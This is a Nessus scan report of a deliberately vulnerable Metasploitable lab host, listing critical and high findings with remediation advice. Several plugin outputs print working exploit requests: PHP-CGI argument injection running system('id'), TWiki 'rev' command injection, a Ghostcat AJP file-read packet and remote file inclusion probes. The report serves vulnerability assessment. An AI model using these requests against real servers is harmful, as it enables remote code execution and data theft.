



# ScansioneFine

---

Report generated by Nessus™

Mon, 05 Jun 2023 09:36:43 EDT

---

---

## TABLE OF CONTENTS

---

### Vulnerabilities by Host

• 192.168.50.101.....	4
-----------------------	---

Nessus Essentials

---

## **Vulnerabilities by Host**

---

192.168.50.101

8

CRITICAL

7

HIGH

34

MEDIUM

9

LOW

160

INFO

#### Scan Information

Start time: Mon Jun 5 07:35:06 2023

End time: Mon Jun 5 09:36:43 2023

#### Host Information

Netbios Name: METASPLOITABLE

IP: 192.168.50.101

MAC Address: 08:00:27:64:71:E6

OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

#### Vulnerabilities

##### 70728 - Apache PHP-CGI Remote Code Execution

#### Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

#### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

#### Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

#### Risk Factor

High

#### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

Plugin Output

tcp/80/www

Nessus was able to verify the issue exists using the following request :

```
----- snip -----
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%
%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F
%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F
%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E
%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F
%65%6E%76%3D%30+%2D%6E HTTP/1.1
```

```
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1685969056';
system('id'); die; ?>
----- snip -----
```

## 134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

### Synopsis

---

There is a vulnerable AJP connector listening on the remote host.

### Description

---

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

### See Also

---

<http://www.nessus.org/u?8ebe6246>  
<http://www.nessus.org/u?4e287adb>  
<http://www.nessus.org/u?cbc3d54e>  
<https://access.redhat.com/security/cve/CVE-2020-1745>  
<https://access.redhat.com/solutions/4851251>  
<http://www.nessus.org/u?dd218234>  
<http://www.nessus.org/u?dd772531>  
<http://www.nessus.org/u?2a01d6bf>  
<http://www.nessus.org/u?3b5af27e>  
<http://www.nessus.org/u?9dab109f>  
<http://www.nessus.org/u?5eafc70>

### Solution

---

Update the AJP configuration to require authorization and/or upgrade the Tomcat server to 7.0.100, 8.5.51, 9.0.31 or later.

### Risk Factor

---

High

### CVSS v3.0 Base Score

---

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

---

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

### VPR Score

---

9.0

## CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

## References

CVE	CVE-2020-1745
CVE	CVE-2020-1938
XREF	CISA-KNOWN-EXPLOITED:2022/03/17
XREF	CEA-ID:CEA-2020-0021

## Plugin Information

Published: 2020/03/24, Modified: 2023/05/31

## Plugin Output

tcp/8009/ajp13

Nessus was able to exploit the issue using the following request :

0x0000:	02 02 00 08 48 54 54 50 2F 31 2E 31 00 00 0F 2F	....HTTP/1.1.../
0x0010:	61 73 64 66 2F 78 78 78 78 2E 6A 73 70 00 00	asdf/xxxxx.jsp..
0x0020:	09 6C 6F 63 61 6C 68 6F 73 74 00 FF FF 00 09 6C	.localhost.....l
0x0030:	6F 63 61 6C 68 6F 73 74 00 00 50 00 00 09 A0 06	ocalhost..P.....
0x0040:	00 0A 6B 65 65 70 2D 61 6C 69 76 65 00 00 0F 41	..keep-alive...A
0x0050:	63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 00 00	ccept-Language..
0x0060:	0E 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 35 00	.en-US,en;q=0.5.
0x0070:	A0 08 00 01 30 00 00 0F 41 63 63 65 70 74 2D 45	....0...Accept-E
0x0080:	6E 63 6F 64 69 6E 67 00 00 13 67 7A 69 70 2C 20	ncoding...gzip,
0x0090:	64 65 66 6C 61 74 65 2C 20 73 64 63 68 00 00 0D	deflate, sdch...
0x00A0:	43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 00 00 09	Cache-Control...
0x00B0:	6D 61 78 2D 61 67 65 3D 30 00 A0 0E 00 07 4D 6F	max-age=0.....Mo
0x00C0:	7A 69 6C 6C 61 00 00 19 55 70 67 72 61 64 65 2D	zilla...Upgrade-
0x00D0:	49 6E 73 65 63 75 72 65 2D 52 65 71 75 65 73 74	Insecure-Request
0x00E0:	73 00 00 01 31 00 A0 01 00 09 74 65 78 74 2F 68	s...1.....text/h
0x00F0:	74 6D 6C 00 A0 0B 00 09 6C 6F 63 61 6C 68 6F 73	tml.....localhos
0x0100:	74 00 0A 00 21 6A 61 76 61 78 2E 73 65 72 76 6C	t...!javax.servl
0x0110:	65 74 2E 69 6E 63 6C 75 64 65 2E 72 65 71 75 65	et.include.reque
0x0120:	73 74 5F 75 72 69 00 00 01 31 00 0A 00 1F 6A 61	st_uri...1....ja
0x0130:	76 61 78 2E 73 65 72 76 6C 65 74 2E 69 6E 63 6C	vax.servlet.incl
0x0140:	75 64 65 2E 70 61 74 68 5F 69 6E 66 6F 00 00 10	ude.path_info...
0x0150:	2F 57 45 42 2D 49 4E 46 2F 77 65 62 2E 78 6D 6C	/WEB-INF/web.xml
0x0160:	00 0A 00 22 6A 61 76 61 78 2E 73 65 72 76 6C 65	..."javax.servle
0x0170:	74 2E 69 6E 63 6C 75 64 65 2E 73 65 72 76 6C 65	t.include.servle
0x0180:	74 5F 70 61 74 68 00 00 00 00 FF	t_path.....

This produced the following truncated output (limite [...])





## 171340 - Apache Tomcat Web Server SEoL (<= 5.5.x)

### Synopsis

The remote web server is obsolete / unsupported.

### Description

According to its version, the Apache Tomcat web server is 5.5.x or earlier. It is, therefore, longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

### See Also

<https://tomcat.apache.org/>

<https://tomcat.apache.org/tomcat-55-eol.html>

### Solution

Remove the web server if it is no longer needed. Otherwise, upgrade to a supported version if possible or switch to another server.

### Risk Factor

High

### CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### Plugin Information

Published: 2023/02/10, Modified: 2023/03/21

### Plugin Output

tcp/8180/www

```
URL : http://192.168.50.101:8180/
Installed version : 5.5
Security End of Life : August 10, 2011
Time since Security End of Life (Est.) : 11 Years, 9 Months, 28 Days | 4313 Total Days
```



## 32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

### Synopsis

The remote SSH host keys are weak.

### Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

### See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

7.4

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

---

Core Impact (true)

---

Plugin Information

---

Published: 2008/05/14, Modified: 2018/11/15

---

Plugin Output

---

tcp/22/ssh

---

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

### Synopsis

The remote SSL certificate uses a weak key.

### Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

### See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

7.4

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

---

Core Impact (true)

Plugin Information

---

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

---

tcp/25/smtp

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

### Synopsis

The remote SSL certificate uses a weak key.

### Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

### See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

7.4

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310



Exploitable With

---

Core Impact (true)

---

Plugin Information

---

Published: 2008/05/15, Modified: 2020/11/16

---

Plugin Output

---

tcp/5432/postgresql

---

## 33850 - Unix Operating System Unsupported Version Detection

### Synopsis

The operating system running on the remote host is no longer supported.

### Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

### Solution

Upgrade to a version of the Unix operating system that is currently supported.

### Risk Factor

Critical

### CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C/I:C/A:C)

### References

XREF	IAVA:0001-A-0502
XREF	IAVA:0001-A-0648

### Plugin Information

Published: 2008/08/08, Modified: 2023/05/18

### Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).  
Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.
```

```
For more information, see : https://wiki.ubuntu.com/Releases
```

## 125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerability (PMASA-2019-3)

### Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

### Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

### See Also

<http://www.nessus.org/u?c9d7fc8c>

### Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

### Risk Factor

High

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

5.9

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

---

BID 108617  
CVE CVE-2019-11768

## Plugin Information

---

Published: 2019/06/13, Modified: 2022/04/11

## Plugin Output

---

tcp/80/www

```
URL          : http://192.168.50.101/phpMyAdmin
Installed version : 3.1.1
Fixed version  : 4.8.6
```

## 39465 - CGI Generic Command Execution

### Synopsis

---

Arbitrary code may be run on the remote server.

### Description

---

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host.

### See Also

---

[https://en.wikipedia.org/wiki/Code\\_injection](https://en.wikipedia.org/wiki/Code_injection)

<http://projects.webappsec.org/w/page/13246950/OS%20Commanding>

### Solution

---

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address command execution flaws.

### Risk Factor

---

High

### CVSS v2.0 Base Score

---

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

---

XREF	CWE:20
XREF	CWE:74
XREF	CWE:77
XREF	CWE:78
XREF	CWE:713
XREF	CWE:722
XREF	CWE:727
XREF	CWE:741
XREF	CWE:751
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

### Plugin Information

---

## Plugin Output

---

tcp/80/www

```
Using the GET HTTP method, Nessus found that :  
  
+ The following resources may be vulnerable to arbitrary command execution :  
  
+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :  
  
/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS  
  
----- output -----  
<body bgcolor="#ffffff">  
<a name="PageTop"></a>  
<form name="main" action="/twiki/bin/view/Main/echo%20NeS%20SuS">  
<table width="100%" border="0" cellpadding="3" cellspacing="0">  
<tr>  
-----  
  
Clicking directly on these URLs should exhibit the issue :  
(you will probably need to read the HTML source)  
  
http://192.168.50.101/twiki/bin/view/Main/WebHome?topic=echo%20NeS%20%20SuS
```

## 39469 - CGI Generic Remote File Inclusion

### Synopsis

Arbitrary code may be run on the remote server.

### Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

### See Also

[https://en.wikipedia.org/wiki/Remote\\_File\\_Inclusion](https://en.wikipedia.org/wiki/Remote_File_Inclusion)

<http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion>

### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

### Risk Factor

High

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

### Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

## Plugin Output

tcp/80/www

Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://yzt40KVs.example.com/

----- output -----

```
<b>Warning</b>: include() [a href='function.include'>function.in [...]  
<br />  
<b>Warning</b>: include(http://yzt40KVs.example.com/) [a href='function.include'>function.include</a>]: failed to open stream: no suitable wrapper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />  
<br />  
<b>Warning</b>: include() [a href='function.include'>function.in [...]  
-----
```

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://yzt40KVs.example.com/

----- output -----

```
<b>Warning</b>: include() [a href='function.include'>function.in [...]  
<br />  
<b>Warning</b>: include(http://yzt40KVs.example.com/) [a href='function.include'>function.include</a>]: failed to open stream: no suitable wrapper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />  
<br />  
<b>Warning</b>: include() [a href='function.include'>function.in [...]  
-----
```

Clicking directly on these URLs should exhibit the issue :  
(you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/?page=http://yzt40KVs.example.com/

http://192.168.50.101/mutillidae/index.php?page=http://yzt40KVs.example.com/

Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

/mutillidae/index.php [do=toggle-hints&page=http://yzt40KVs.example.com/&username=anonymous]

----- output -----

```
<b>Warning</b>: include() [a href='function.include'>function.in [...]  
<br />  
<b>Warning</b>: include(http://yzt40KVs.example.com/) [a href='function.include'>function.include</a>]: failed to open stream: no suitable wrapper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />  
<br />  
<b>Warning</b>: i [...]
```



## 136769 - ISC BIND Service Downgrade / Reflected DoS

### Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

### Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

### See Also

<https://kb.isc.org/docs/cve-2020-8616>

### Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

### Risk Factor

Medium

### CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

### CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

5.2

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### STIG Severity

I

## References

---

CVE	CVE-2020-8616
XREF	IAVA:2020-A-0217-S

## Plugin Information

---

Published: 2020/05/22, Modified: 2020/06/26

## Plugin Output

---

udp/53/dns

```
Installed version : 9.4.2
Fixed version    : 9.11.19
```

## 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

### Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

### See Also

<http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>

<http://www.php.net/archive/2012.php#id2012-05-08-1>

<http://www.php.net/ChangeLog-5.php#5.3.13>

<http://www.php.net/ChangeLog-5.php#5.4.3>

<http://www.nessus.org/u?80589ce8>

<https://www-304.ibm.com/support/docview.wss?uid=swg21620314>

### Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

### Risk Factor

High

### VPR Score

8.9

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

### References

BID 53388

CVE CVE-2012-1823

CVE CVE-2012-2311  
XREF CERT:520827  
XREF EDB-ID:18834  
XREF CISA-KNOWN-EXPLOITED:2022/04/15

## Exploitable With

---

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

---

Published: 2012/05/14, Modified: 2022/03/28

## Plugin Output

---

tcp/80/www

Nessus was able to verify the issue exists using the following request :

```
----- snip -----  
POST /dvwa/about.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d  
+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1  
Host: 192.168.50.101  
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Connection: Keep-Alive  
Content-Length: 82  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)  
Pragma: no-cache  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*  
<?php echo 'php_cgi_query_string_code_execution-1685969057'; system('id'); die; ?>  
----- snip -----
```

## 90509 - Samba Badlock Vulnerability

### Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

### Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

### See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

### Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

6.7

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

---

BID	86002
CVE	CVE-2016-2118
XREF	CERT:813296

## Plugin Information

---

Published: 2016/04/13, Modified: 2019/11/20

## Plugin Output

---

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

## 19704 - TWiki 'rev' Parameter Arbitrary Command Execution

### Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

### Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

### See Also

<http://www.nessus.org/u?c70904f3>

### Solution

Apply the appropriate hotfix referenced in the vendor advisory.

### Risk Factor

High

### CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

### VPR Score

7.4

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

### References

BID 14834

CVE

CVE-2005-2877

## Exploitable With

---

Metasploit (true)

## Plugin Information

---

Published: 2005/09/15, Modified: 2022/04/11

## Plugin Output

---

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :
```

```
http://192.168.50.101/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20
```

```
This produced the following truncated output (limited to 2 lines) :
```

```
----- snip -----
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
----- snip -----
```



## 36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

### Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

### Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.
- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

### See Also

<https://www.tenable.com/security/research/tra-2009-02>

[http://www.phpmyadmin.net/home\\_page/security/PMASA-2009-4.php](http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php)

### Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

### Risk Factor

High

### VPR Score

6.7

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

BID 34526

CVE	CVE-2009-1285
XREF	TRA:TRA-2009-02
XREF	SECUNIA:34727
XREF	CWE:94

#### Plugin Information

---

Published: 2009/04/16, Modified: 2022/04/11

#### Plugin Output

---

tcp/80/www

## 11411 - Backup Files Disclosure

### Synopsis

It is possible to retrieve file backups from the remote web server.

### Description

By appending various suffixes (ie: .old, .bak, ~, etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

### See Also

<http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location>

### Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

### Risk Factor

Medium

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2003/03/17, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```
It is possible to read the following backup files :
```

- File : /twiki/bin/view/Main/WebHome~  
URL : http://192.168.50.101/twiki/bin/view/Main/WebHome~
- File : /twiki/bin/search/Main/SearchResult~  
URL : http://192.168.50.101/twiki/bin/search/Main/SearchResult~

## 40984 - Browsable Web Directories

### Synopsis

Some directories on the remote web server are browsable.

### Description

Multiple Nessus plugins identified directories on the web server that are browsable.

### See Also

<http://www.nessus.org/u?0a35179e>

### Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

### Plugin Output

tcp/80/www

The following directories are browsable :

```
http://192.168.50.101/dav/  
http://192.168.50.101/dav/GO1XRhth.htm/  
http://192.168.50.101/dav/GO1XRhth.htm/fJfOLcaH.htm/  
http://192.168.50.101/dav/GO1XRhth.htm/xaxLKlBw.htm/  
http://192.168.50.101/dav/GO1XRhth.htm/xaxLKlBw.htm/qUKeRyqM.htm/  
http://192.168.50.101/dav/PxI6GPi3.htm/  
http://192.168.50.101/dav/XKBeSwRh.htm/  
http://192.168.50.101/dav/XKBeSwRh.htm/qfg2bohB.htm/  
http://192.168.50.101/dvwa/dvwa/  
http://192.168.50.101/dvwa/dvwa/css/
```

```
http://192.168.50.101/dvwa/dvwa/images/  
http://192.168.50.101/dvwa/dvwa/includes/  
http://192.168.50.101/dvwa/dvwa/includes/DBMS/  
http://192.168.50.101/dvwa/dvwa/js/  
http://192.168.50.101/dvwa/vulnerabilities/  
http://192.168.50.101/mutillidae/documentation/  
http://192.168.50.101/mutillidae/styles/  
http://192.168.50.101/mutillidae/styles/ddsmoothmenu/  
http://192.168.50.101/test/  
http://192.168.50.101/test/testoutput/
```

## 44136 - CGI Generic Cookie Injection Scripting

### Synopsis

---

The remote web server is prone to cookie injection attacks.

### Description

---

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

Please note that :

- Nessus did not check if the session fixation attack is feasible.
- This is not the only vector of session fixation.

### See Also

---

[https://en.wikipedia.org/wiki/Session\\_fixation](https://en.wikipedia.org/wiki/Session_fixation)

[https://www.owasp.org/index.php/Session\\_Fixation](https://www.owasp.org/index.php/Session_Fixation)

[http://www.acros.si/papers/session\\_fixation.pdf](http://www.acros.si/papers/session_fixation.pdf)

<http://projects.webappsec.org/w/page/13246960/Session%20Fixation>

### Solution

---

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

### Risk Factor

---

Medium

### CVSS v2.0 Base Score

---

